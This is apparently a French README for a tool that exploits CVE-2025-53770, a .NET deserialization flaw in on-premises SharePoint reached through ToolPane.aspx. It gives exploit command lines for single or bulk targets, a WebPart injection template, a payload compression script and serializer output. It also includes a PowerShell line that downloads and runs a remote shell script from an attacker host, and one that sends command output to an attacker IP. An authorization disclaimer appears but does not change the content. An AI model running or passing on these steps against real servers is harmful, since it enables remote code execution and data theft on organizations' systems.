
Outil d'exploitation d'injection de WebPart SharePoint
🍕 Outil d'exploitation pour l'injection WebPart SharePoint via ToolPane.aspx, menant à une désérialisation .NET et à une éventuelle exécution de code à distance (RCE).
Développé par : @GOTOCVE
Cet outil exploite une vulnérabilité dans Microsoft SharePoint (sur site) qui permet à des utilisateurs authentifiés d'abuser du point de terminaison ToolPane.aspx et d'injecter des WebParts malveillants contenant des objets .NET sérialisés compressés en GZIP.
L'objet injecté est placé dans le paramètre MSOTlPn_SelectedWpId et intégré dans un faux WebPart (tel que <Scorecard:ExcelDataSet>) qui est analysé et désérialisé par le backend SharePoint.
| Produit | Versions affectées |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| Champ | Valeur |
|---|---|
| Composant | Microsoft SharePoint (sur site) |
| Point de terminaison | /layouts/15/ToolPane.aspx |
| Paramètre | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Problème | Désérialisation .NET non sécurisée |
| CVE | CVE-2025-53770 |
exploit.pyOutil d'exploitation SharePoint multithread pour CVE-2025-53770.
/ToolPane.aspxYSLosf.exeGénérateur de charges utiles et désérialiseur LosFormatter.

python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| Argument | Description |
|---|---|
-u | URL cible (p. ex., https://sp.company.local) |
-f | Fichier contenant les URL cibles (une par ligne) |
-p | Fichier de charge utile ou chaîne Base64 GZIP directe |
--proxy | Proxy facultatif (p. ex., http://127.0.0.1:8080) |
-t | Délai d'attente en secondes (défaut : 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)Votre charge utile doit :
DataSet, ObjectDataProvider)LosFormatter ou BinaryFormatterIntégrée dans un WebPart comme :
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfPlacez votre commande (p. ex., reverse shell) dans payload.txt :
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Enregistrez la sortie dans payload-final.txt et transmettez-la à l'outil d'exploitation.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterCette vulnérabilité ne renvoie pas de sortie (p. ex. ipconfig) dans la réponse. Vous devez :
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
Cet outil est fourni uniquement à des fins de tests de sécurité éducatifs et autorisés.
Ne l'utilisez pas contre des systèmes sans autorisation explicite. Une mauvaise utilisation peut être illégale et contraire à l'éthique.
Si un serveur vulnérable accepte la charge utile et renvoie MSOTlPn_SelectedWpId ou affiche la page avec le WebPart injecté, il est probablement exploitable. L'absence de sortie signifie que la désérialisation a échoué ou que le serveur a été corrigé.
Cet outil ne livre ni n'exécute de shellcode ou web shell.
Il démontre uniquement l'exploitation de la vulnérabilité de désérialisation .NET (CVE-2025-53770) via le point de terminaison vulnérable ToolPane.aspx en utilisant une structure WebPart malveillante contenant un objet .NET compressé en GZIP.
🔹 Objectif : Aider les chercheurs, les red teamers et les défenseurs à détecter les serveurs SharePoint vulnérables et à tester le vecteur d'injection en toute sécurité avec des charges utiles personnalisées.
🔹 Charges utiles : L'outil exige que les utilisateurs génèrent leurs propres charges utiles (p. ex., en utilisant YSLosf.exe) qui sont intégrées dans le WebPart sous forme de chaînes GZIP encodées en Base64.
Il est de la responsabilité de l'utilisateur de choisir des charges utiles appropriées et éthiques (telles que l'exécution inoffensive de calc.exe, des marqueurs de beacon, etc.).
🔹 AUCUN reverse shell/web shell inclus :
Bien que des attaquants dans la nature puissent déposer des web shells comme spinstall0.aspx, ce projet n'inclut aucune logique de ce type.
Si vous prévoyez de livrer un reverse shell, vous devez générer votre propre charge utile manuellement et assumer l'entière responsabilité de son utilisation.
Rejoignez @GOTOCVE sur Telegram :
Créé par Ali Soltani
Pour les demandes de recherche ou les rapports de bugs, contactez via Telegram